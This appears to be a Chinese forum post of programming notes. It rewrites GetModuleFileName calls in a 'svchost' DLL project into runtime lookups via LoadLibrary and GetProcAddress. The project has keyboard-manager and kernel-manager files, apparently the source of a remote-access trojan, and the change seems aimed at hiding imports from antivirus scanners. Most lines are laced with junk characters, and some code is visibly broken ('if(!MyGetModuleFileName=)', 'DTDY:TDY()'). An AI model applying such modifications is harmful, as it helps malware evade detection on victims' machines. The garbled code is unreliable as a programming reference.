[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记2 U/ o6 P% ^! I- k- g, x4 w- z' \
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h7 Y2 `9 ]* {$ u5 k" ]& s
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, E5 R# D4 w5 u2 q/ x( [DTDY.h：
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#if _MSC_VER>1000
) I$ `4 l! n4 ?! ?. H#pragma once
, C/ X8 [$ E, H" G' r4 C#endif //_MSC_VER>1000
0 W* S. N4 V& o4 d0 \, C#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);/ V. m: C! k# x, R+ O* L( K9 S: o# x5 f5 T
class DTDY
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DTDY();0 Y; Q4 R3 l. R! t. f
virtual ~DTDY();0 q  `0 X* Z% D5 v4 L6 W" d0 ?
public:
# G' T7 e8 ]# k1 hstatic pGetModuleFileNameA MyGetModuleFileName;: w& h9 h6 @, M' A. ]; a
static BOOL FunInitiallization();3 T# U. E; J) `- d9 Z, i* d8 o
};/ B1 c0 Y6 W% g
#endif
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0 n# H# y2 g9 i6 y& t! q5 VDTDY.cpp:
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#include "DTDY.h", G! q% {# N' J) q; s# q1 {
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;% M; Z( y- {* k4 M2 k2 E9 j$ i
DTDY:TDY()
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DTDY::~DTDY()4 a  Q& V( t% {6 I$ h! I
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}
0 V) J! {, t1 |" F- f0 t$ bBOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");0 |. j1 U, A5 n$ c2 X' {
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
! a& w5 h& ^9 v8 I3 }4 rif(!MyGetModuleFileName=) return FALSE;! k' ]& z5 k) ]7 @5 K( N4 v7 d6 J
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return TRUE;
' f: L/ q' G% @7 g}
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svchost.cpp:" ~" b3 U# S6 c8 Y( t% Q  o
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#include "DTDY.h"
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)* l; X' ]! B* K2 h4 y( t
{
6 m( |* _! o3 o. }2 u# mcase DLL_PROCESS_ATTACH:! E5 j7 o" S8 Z6 K( ?
if(!DTDY::FunInitiallization()) return FALSE;4 t" e* L3 i" A" o

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}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def* V! h- A5 C8 }7 \) ^+ u) q1 M
改写为
3 g$ G1 n' Z, a# J. \( i+ |% FDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));1 S: ^, W9 S1 r" d' P" W
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' u0 h9 _1 F' G5 ~* s/ S3 U( t4 yKernelManager.cpp:  g; K# [# r! S. a. Y  C: q
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#include "../DTDY.h"
# e. k* w5 i1 t) Y7 tGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));0 X2 ]* u$ u- V8 }, Z$ j
改写为
- v+ P  z& k% S/ ]* r! t. hDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));; R$ |0 t& K8 u; n/ j
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